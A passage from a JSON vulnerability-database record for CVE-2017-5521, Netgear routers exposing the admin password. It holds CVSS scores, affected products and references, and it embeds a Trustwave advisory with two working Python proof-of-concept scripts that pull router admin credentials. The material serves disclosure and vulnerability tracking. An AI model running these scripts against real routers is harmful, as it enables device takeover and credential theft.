}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:wndr4000:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:wndr4500_firmware:1.0.1.44_1.0.73:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:wndr4500:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:d6400_firmware:1.0.0.44:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:d6400:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:d6220_firmware:1.0.0.12:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:d6220:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:d6300_firmware:1.0.0.96:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:d6300:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:d6300b_firmware:1.0.0.40:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:d6300b:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:dgn2200bv4_firmware:1.0.0.68:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:dgn2200bv4:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2017-5521"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "The vendor reported this issue.",
"sources": [
{
"db": "BID",
"id": "95457"
}
],
"trust": 0.3
},
"cve": "CVE-2017-5521",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"integrityImpact": "NONE",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "MEDIUM",
"trust": 1.0,
"userInteractionRequired": false,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Medium",
"accessVector": "Network",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 4.3,
"confidentialityImpact": "Partial",
"exploitabilityScore": null,
"id": "CVE-2017-5521",
"impactScore": null,
"integrityImpact": "None",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "Medium",
"trust": 0.9,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CNVD-2017-00835",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "VHN-113724",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:M/AU:N/C:P/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"author": "NVD",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.2,
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
{
"attackComplexity": "High",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 8.1,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2017-5521",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "NVD",
"id": "CVE-2017-5521",
"trust": 1.8,
"value": "HIGH"
},
{
"author": "CNVD",
"id": "CNVD-2017-00835",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201701-454",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-113724",
"trust": 0.1,
"value": "MEDIUM"
},
{
"author": "VULMON",
"id": "CVE-2017-5521",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-00835"
},
{
"db": "VULHUB",
"id": "VHN-113724"
},
{
"db": "VULMON",
"id": "CVE-2017-5521"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-001263"
},
{
"db": "NVD",
"id": "CVE-2017-5521"
},
{
"db": "CNNVD",
"id": "CNNVD-201701-454"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices. They are prone to password disclosure via simple crafted requests to the web management server. The bug is exploitable remotely if the remote management option is set, and can also be exploited given access to the router over LAN or WLAN. When trying to access the web panel, a user is asked to authenticate; if the authentication is canceled and password recovery is not enabled, the user is redirected to a page that exposes a password recovery token. If a user supplies the correct token to the page /passwordrecovered.cgi?id=TOKEN (and password recovery is not enabled), they will receive the admin password for the router. If password recovery is set the exploit will fail, as it will ask the user for the recovery questions that were previously set when enabling that feature. This is persistent (even after disabling the recovery option, the exploit will fail) because the router will ask for the security questions. NETGEARR8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900 and R8000 are Netgear\u0027s wireless router products. There are information disclosure vulnerabilities in several NETGEAR products. \nSuccessful exploits will allow attackers to obtain sensitive information, such as credentials, that may aid in further attacks. Trustwave SpiderLabs Security Advisory TWSL2017-003:\nMultiple Vulnerabilities in NETGEAR Routers\n \nPublished: 01/30/2017\nVersion: 1.0\n \nVendor: NETGEAR (http://www.netgear.com/)\nProduct: Multiple products\n \nFinding 1: Remote and Local Password Disclosure\nCredit: Simon Kenin of Trustwave SpiderLabs\nCVE: CVE-2017-5521\n \nVersion affected: \n \n# AC1450 V1.0.0.34_10.0.16 (Latest)\n# AC1450 V1.0.0.22_1.0.10\n# AC1450 V1.0.0.14_1.0.6\n# D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 and above not affected)\n# D6400 V1.0.0.34_1.3.34\n# D6400 V1.0.0.38_1.1.38\n# D6400 V1.0.0.22_1.0.22\n# DC112A V1.0.0.30_1.0.60 (Latest)\n# DGN2200v4 V1.0.0.24_5.0.8 (V1.0.0.66_1.0.66 is latest and is not affected)\n# JNDR3000 V1.0.0.18_1.0.16 (Latest)\n# R6200 V1.0.1.48_1.0.37 (V1.0.1.52_1.0.41 and above are not affected)\n# R6200v2 V1.0.1.20_1.0.18 (V1.0.3.10_10.1.10 is latest and is not affected)\n# R6250 V1.0.1.84_1.0.78 (V1.0.4.2_10.1.10 is latest and is not affected)\n# R6300 V1.0.2.78_1.0.58 (Latest)\n# R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched)\n# R6300v2 V1.0.3.30_10.0.73\n# R6700 V1.0.1.14_10.0.29 (Latest beta)\n# R6700 V1.0.0.26_10.0.26 (Latest stable)\n# R6700 V1.0.0.24_10.0.18\n# R6900 V1.0.0.4_1.0.10 (Latest)\n# R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched)\n# R8300 V1.0.2.48_1.0.52\n# R8500 V1.0.2.30_1.0.43 (V1.0.2.64_1.0.62 and above is patched)\n# R8500 V1.0.2.26_1.0.41\n# R8500 V1.0.0.56_1.0.28\n# R8500 V1.0.0.20_1.0.11\n# VEGN2610 V1.0.0.35_1.0.35 (Latest)\n# VEGN2610 V1.0.0.29_1.0.29\n# VEGN2610 V1.0.0.27_1.0.27\n# WNDR3400v2 V1.0.0.16_1.0.34 (V1.0.0.52_1.0.81 is latest and is not affected)\n# WNDR3400v3 V1.0.0.22_1.0.29 (V1.0.1.2_1.0.51 is latest and is not affected)\n# WNDR3700v3 V1.0.0.38_1.0.31 (Latest)\n# WNDR4000 V1.0.2.4_9.1.86 (Latest)\n# WNDR4500 V1.0.1.40_1.0.68 (Latest)\n# WNDR4500v2 V1.0.0.60_1.0.38 (Latest)\n# WNDR4500v2 V1.0.0.42_1.0.25\n# WGR614v10 V1.0.2.60_60.0.85NA (Latest)\n# WGR614v10 V1.0.2.58_60.0.84NA\n# WGR614v10 V1.0.2.54_60.0.82NA\n# WN3100RP V1.0.0.14_1.0.19 (Latest)\n# WN3100RP V1.0.0.6_1.0.12\n \n# Lenovo R3220 V1.0.0.16_1.0.16 (Latest)\n# Lenovo R3220 V1.0.0.13_1.0.13\n \n \nProduct description:\nMultiple Netgear Routers\n \nMany Netgear routers are prone to password disclosure via simple crafted \nrequests to the web management server. \nThis can easily be reproduced using the attached poc, or by sending these two \nsimple requests via the browser:\n1. http://router/.../ will redirect you to http://router/..../unauth.cgi?id=TOKEN to acquire the token\n2. http://router/passwordrecovered.cgi?id=TOKEN will give you credentials (some models require you to send a post request instead of get)\n \n## netgore.py\nimport sys\nimport requests\n \n \ndef scrape(text, start_trig, end_trig):\n if text.find(start_trig) != -1:\n return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]\n else:\n return \"i_dont_speak_english\"\n#disable nasty insecure ssl warning\nrequests.packages.urllib3.disable_warnings()\n#1st stage - get token\nip = sys.argv[1]\nport = sys.argv[2]\nurl = \u0027http://\u0027 + ip + \u0027:\u0027 + port + \u0027/\u0027\ntry:\n r = requests.get(url)\nexcept:\n url = \u0027https://\u0027 + ip + \u0027:\u0027 + port + \u0027/\u0027\n r = requests.get(url, verify=False)\nmodel = r.headers.get(\u0027WWW-Authenticate\u0027)\nif model is not None:\n print \"Attcking: \" + model[13:-1]\nelse:\n print \"not a netgear router\"\n sys.exit(0)\ntoken = scrape(r.text, \u0027unauth.cgi?id=\u0027, \u0027\\\"\u0027)\nif token == \u0027i_dont_speak_english\u0027:\n print \"not vulnerable\"\n sys.exit(0)\nprint \"token found: \" + token\n#2nd stage - pass the token - get the password\nurl = url + \u0027passwordrecovered.cgi?id=\u0027 + token\nr = requests.post(url, verify=False)\n#profit\nif r.text.find(\u0027left\\\"\u003e\u0027) != -1:\n username = (repr(scrape(r.text, \u0027Router Admin Username\u003c/td\u003e\u0027, \u0027\u003c/td\u003e\u0027)))\n username = scrape(username, \u0027\u003e\u0027, \u0027\\\u0027\u0027)\n password = (repr(scrape(r.text, \u0027Router Admin Password\u003c/td\u003e\u0027, \u0027\u003c/td\u003e\u0027)))\n password = scrape(password, \u0027\u003e\u0027, \u0027\\\u0027\u0027)\n if username == \"i_dont_speak_english\":\n username = (scrape(r.text[r.text.find(\u0027left\\\"\u003e\u0027):-1], \u0027left\\\"\u003e\u0027, \u0027\u003c/td\u003e\u0027))\n password = (scrape(r.text[r.text.rfind(\u0027left\\\"\u003e\u0027):-1], \u0027left\\\"\u003e\u0027, \u0027\u003c/td\u003e\u0027))\nelse:\n print \"not vulnerable becuse password recovery IS set\"\n sys.exit(0)\n#html encoding pops out of nowhere, lets replace that\npassword = password.replace(\"\u0026#35;\",\"#\")\npassword = password.replace(\"\u0026\",\"\u0026\")\nprint \"user: \" + username\nprint \"pass: \" + password\n \n================================\nJust run the PoC against a router to get the credentials if it is vulnerable. \n \n \n \nFinding 2: Remote and Local Password Disclosure\nCredit: Simon Kenin of Trustwave SpiderLabs\nCVE: CVE-2017-5521\n \nVersion affected: \n \n# AC1450 V1.0.0.34_10.0.16 (Latest)\n# AC1450 V1.0.0.22_1.0.10\n# AC1450 V1.0.0.14_1.0.6\n# D6300 V1.0.0.96_1.1.96 (Latest)\n# D6300B V1.0.0.36_1.0.36\n# D6300B V1.0.0.32_1.0.32\n# D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 is latest and is patched)\n# D6400 V1.0.0.22_1.0.22\n# DC112A V1.0.0.30_1.0.60 (Latest)\n# DGN2200v4 V1.0.0.76_1.0.76 (Latest)\n# DGN2200v4 V1.0.0.66_1.0.66\n# DGN2200Bv4 V1.0.0.68_1.0.68 (Latest)\n# JNDR3000 V1.0.0.18_1.0.16 (Latest)\n# R6200 V1.0.1.56_1.0.43 (Latest)\n# R6200 V1.0.1.52_1.0.41\n# R6200 V1.0.1.48_1.0.37\n# R6200v2 V1.0.3.10_10.1.10 (Latest)\n# R6200v2 V1.0.1.20_1.0.18\n# R6250 V1.0.4.6_10.1.12 (Latest beta)\n# R6250 V1.0.4.2_10.1.10 (Latest stable)\n# R6250 V1.0.1.84_1.0.78 \n# R6300 V1.0.2.78_1.0.58 (Latest)\n# R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched)\n# R6300v2 V1.0.3.6_1.0.63CH (Charter Comm.)\n# R6400 V1.0.0.26_1.0.14 (V1.0.1.12_1.0.11 is latest and is patched)\n# R6700 V1.0.0.26_10.0.26 (Latest)\n# R6700 V1.0.0.24_10.0.18\n# R6900 V1.0.0.4_1.0.10 (Latest)\n# R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched)\n# R7000 V1.0.4.30_1.1.67\n# R7900 V1.0.1.8_10.0.14 (Latest beta)\n# R7900 V1.0.1.4_10.0.12 (Latest stable)\n# R7900 V1.0.0.10_10.0.7\n# R7900 V1.0.0.8_10.0.5\n# R7900 V1.0.0.6_10.0.4\n# R8000 V1.0.3.26_1.1.18 (Latest beta)\n# R8000 V1.0.3.4_1.1.2 (Latest stable)\n# R8300 V1.0.2.48_1.0.52\n# R8500 V1.0.0.56_1.0.28 (V1.0.2.64_1.0.62 and above is patched)\n# R8500 V1.0.2.30_1.0.43\n# VEGN2610 V1.0.0.35_1.0.35 (Latest)\n# VEGN2610 V1.0.0.27_1.0.27\n# VEGN2610-1FXAUS V1.0.0.36_1.0.36 (Latest)\n# VEVG2660 V1.0.0.23_1.0.23\n# WNDR3400v2 V1.0.0.52_1.0.81 (Latest)\n# WNDR3400v3 V1.0.1.4_1.0.52 (Latest)\n# WNDR3400v3 V1.0.1.2_1.0.51\n# WNDR3400v3 V1.0.0.22_1.0.29\n# WNDR3700v3 V1.0.0.38_1.0.31 (Latest)\n# WNDR4000 V1.0.2.4_9.1.86 (Latest)\n# WNDR4500 V1.0.1.40_1.0.68 (Latest)\n# WNDR4500 V1.0.1.6_1.0.24 \n# WNDR4500v2 V1.0.0.60_1.0.38 (Latest)\n# WNDR4500v2 V1.0.0.50_1.0.30\n# WNR1000v3 V1.0.2.68_60.0.93NA (Latest)\n# WNR1000v3 V1.0.2.62_60.0.87 (Latest)\n# WNR3500Lv2 V1.2.0.34_40.0.75 (Latest)\n# WNR3500Lv2 V1.2.0.32_40.0.74\n# WGR614v10 V1.0.2.60_60.0.85NA (Latest)\n# WGR614v10 V1.0.2.58_60.0.84NA\n# WGR614v10 V1.0.2.54_60.0.82NA\n \n# Lenovo R3220 V1.0.0.16_1.0.16 (Latest)\n# Lenovo R3220 V1.0.0.13_1.0.13\n \n \nMany Netgear routers are prone to password disclosure via simple crafted \nrequest to the web management server. \n \nThis mechanism does not work correctly on the very first request to \n\"passwordrecovered.cgi\" and the token is not properly checked, this means that \nany TOKEN value will result in disclosure of the password. \nThe issue occurs after every reboot of the router. \n \nThis can easily be reproduced using the attached poc, or by sending a simple \nrequest via the browser:\n1. http://router/passwordrecovered.cgi?id=Trustwave_SpiderLabs will give you credentials (some models require you to send a post request instead of get)\n \n## netgore2.py\nimport sys\nimport requests\n \ndef scrape(text, start_trig, end_trig):\n if text.find(start_trig) != -1:\n return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]\n else:\n return \"i_dont_speak_english\"\n#disable nasty insecure ssl warning\nrequests.packages.urllib3.disable_warnings()\n#1st stage\nip = sys.argv[1]\nport = sys.argv[2]\nurl = \u0027http://\u0027 + ip + \u0027:\u0027 + port + \u0027/\u0027\ntry:\n r = requests.get(url)\nexcept:\n url = \u0027https://\u0027 + ip + \u0027:\u0027 + port + \u0027/\u0027\n r = requests.get(url, verify=False)\nmodel = r.headers.get(\u0027WWW-Authenticate\u0027)\nif model is not None:\n print \"Attcking: \" + model[13:-1]\nelse:\n print \"not a netgear router\"\n sys.exit(0)\n#2nd stage\nurl = url + \u0027passwordrecovered.cgi?id=get_rekt\u0027\ntry:\n r = requests.post(url, verify=False)\nexcept:\n print \"not vulnerable router\"\n sys.exit(0)\n#profit\nif r.text.find(\u0027left\\\"\u003e\u0027) != -1:\n username = (repr(scrape(r.text, \u0027Router Admin Username\u003c/td\u003e\u0027, \u0027\u003c/td\u003e\u0027)))\n username = scrape(username, \u0027\u003e\u0027, \u0027\\\u0027\u0027)\n password = (repr(scrape(r.text, \u0027Router Admin Password\u003c/td\u003e\u0027, \u0027\u003c/td\u003e\u0027)))\n password = scrape(password, \u0027\u003e\u0027, \u0027\\\u0027\u0027)\n if username == \"i_dont_speak_english\":\n username = (scrape(r.text[r.text.find(\u0027left\\\"\u003e\u0027):-1], \u0027left\\\"\u003e\u0027, \u0027\u003c/td\u003e\u0027))\n password = (scrape(r.text[r.text.rfind(\u0027left\\\"\u003e\u0027):-1], \u0027left\\\"\u003e\u0027, \u0027\u003c/td\u003e\u0027))\nelse:\n print \"not vulnerable router, or some one else already accessed passwordrecovered.cgi, reboot router and test again\"\n sys.exit(0)\n#html encoding pops out of nowhere, lets replace that\npassword = password.replace(\"\u0026#35;\",\"#\")\npassword = password.replace(\"\u0026\",\"\u0026\")\nprint \"user: \" + username\nprint \"pass: \" + password\n \n================================\nJust run the PoC against a router to get the credentials if it is vulnerable. \n \n \n \n \nRemediation Steps:\nPlease see NETGEAR\u0027s KBA for list of firmware patches for various models. \n \nRevision History:\n04/06/2016 - Vulnerability disclosed to vendor\n04/19/2016 - Request for update and received confirmation of receipt of the advisories\n05/18/2016 - Request for update; no response\n07/14/2016 - Request for update\n07/15/2016 - Notice of patch for some models and workaround KBA received along with commitment towards 100% coverage\n10/17/2016 - Request for update\n12/15/2016 - Notice of intent to publish advisories\n01/04/2017 - Vendor responds with patch timeline and announcement of participation in Bugcrowd\n01/30/2017 - Advisory published\n \n \nReferences\n1. http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html\n2. https://www.exploit-db.com/exploits/32883/\n3. http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability\n \n \nAbout Trustwave:\nTrustwave is the leading provider of on-demand and subscription-based\ninformation security and payment card industry compliance management\nsolutions to businesses and government entities throughout the world. For\norganizations faced with today\u0027s challenging data security and compliance\nenvironment, Trustwave provides a unique approach with comprehensive\nsolutions that include its flagship TrustKeeper compliance management\nsoftware and other proprietary security solutions. Trustwave has helped\nthousands of organizations--ranging from Fortune 500 businesses and large\nfinancial institutions to small and medium-sized retailers--manage\ncompliance and secure their network infrastructure, data communications and\ncritical information assets. Trustwave is headquartered in Chicago with\noffices throughout North America, South America, Europe, Africa, China and\nAustralia. For more information, visit https://www.trustwave.com\n \nAbout Trustwave SpiderLabs:\nSpiderLabs(R) is the advanced security team at Trustwave focused on\napplication security, incident response, penetration testing, physical\nsecurity and security research. The team has performed over a thousand\nincident investigations, thousands of penetration tests and hundreds of\napplication security tests globally. In addition, the SpiderLabs Research\nteam provides intelligence through bleeding-edge research and proof of\nconcept tool development to enhance Trustwave\u0027s products and services. \nhttps://www.trustwave.com/spiderlabs\n \nDisclaimer:\nThe information provided in this advisory is provided \"as is\" without\nwarranty of any kind. Trustwave disclaims all warranties, either express or\nimplied, including the warranties of merchantability and fitness for a\nparticular purpose. In no event shall Trustwave or its suppliers be liable\nfor any damages whatsoever including direct, indirect, incidental,\nconsequential, loss of business profits or special damages, even if\nTrustwave or its suppliers have been advised of the possibility of such\ndamages. Some states do not allow the exclusion or limitation of liability\nfor consequential or incidental damages so the foregoing limitation may not\napply",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-5521"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-001263"
},
{
"db": "CNVD",
"id": "CNVD-2017-00835"
},
{
"db": "BID",
"id": "95457"
},
{
"db": "VULHUB",
"id": "VHN-113724"
},
{
"db": "VULMON",
"id": "CVE-2017-5521"
},
{
"db": "PACKETSTORM",
"id": "140844"
}
],
"trust": 2.7
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-113724",
"trust": 0.1,
"type": "unknown"
},
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=41205",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-113724"
},
{
"db": "VULMON",
"id": "CVE-2017-5521"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-5521",
"trust": 3.6
},
{
"db": "BID",
"id": "95457",
"trust": 2.9
},
{
"db": "EXPLOIT-DB",
"id": "41205",
"trust": 1.2
},
{
"db": "JVNDB",
"id": "JVNDB-2017-001263",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201701-454",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2017-00835",
"trust": 0.6
},
{
"db": "PACKETSTORM",
"id": "140844",
"trust": 0.2
},
{
"db": "SEEBUG",
"id": "SSVID-92639",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-113724",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-5521",
"trust": 0.1
},
{
"db": "EXPLOIT-DB",
"id": "32883",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-00835"
},
{
"db": "VULHUB",
"id": "VHN-113724"
},
{
"db": "VULMON",
"id": "CVE-2017-5521"
},
{
"db": "BID",
"id": "95457"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-001263"
},
{
"db": "PACKETSTORM",
"id": "140844"
},
{
"db": "NVD",
"id": "CVE-2017-5521"
},
{
"db": "CNNVD",
"id": "CNNVD-201701-454"
}
]
},
"id": "VAR-201701-0766",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-00835"
},
{
"db": "VULHUB",
"id": "VHN-113724"
}
],
"trust": 1.2250386052380953
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-00835"
}
]
},
"last_update_date": "2023-12-18T12:20:10.468000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Web GUI Password Recovery and Exposure Security Vulnerability",
"trust": 0.8,
"url": "http://kb.netgear.com/30632/web-gui-password-recovery-and-exposure-security-vulnerability?cid=wmt_netgear_organic"
},
{
"title": "Patches for administrator password information disclosure vulnerabilities in various NETGEAR routers",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchinfo/show/88524"
},
{
"title": "Multiple NETGEAR Product security vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=67049"
},
{
"title": "kenzer-templates",
"trust": 0.1,
"url": "https://github.com/elsfa7-110/kenzer-templates "
},
{
"title": "kenzer-templates",
"trust": 0.1,
"url": "https://github.com/arpsyndicate/kenzer-templates "
},
{
"title": "Threatpost",
"trust": 0.1,
"url": "https://threatpost.com/new-mirai-variant-carries-out-54-hour-ddos-attacks/124660/"
},
{
"title": "The Register",
"trust": 0.1,
"url": "https://www.theregister.co.uk/2017/01/31/major_security_hole_in_netgear_routers/"
},
{
"title": "BleepingComputer",
"trust": 0.1,
"url": "https://www.bleepingcomputer.com/news/hardware/31-netgear-router-models-affected-by-flaw-that-exposes-admin-password/"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-00835"
},
{
"db": "VULMON",
"id": "CVE-2017-5521"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-001263"
},
{
"db": "CNNVD",
"id": "CNNVD-201701-454"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-200",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-113724"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-001263"
},
{
"db": "NVD",
"id": "CVE-2017-5521"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.8,
"url": "http://kb.netgear.com/30632/web-gui-password-recovery-and-exposure-security-vulnerability"
},
{
"trust": 2.0,
"url": "http://www.securityfocus.com/bid/95457"
},
{
"trust": 1.4,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2017-5521"
},
{
"trust": 1.3,
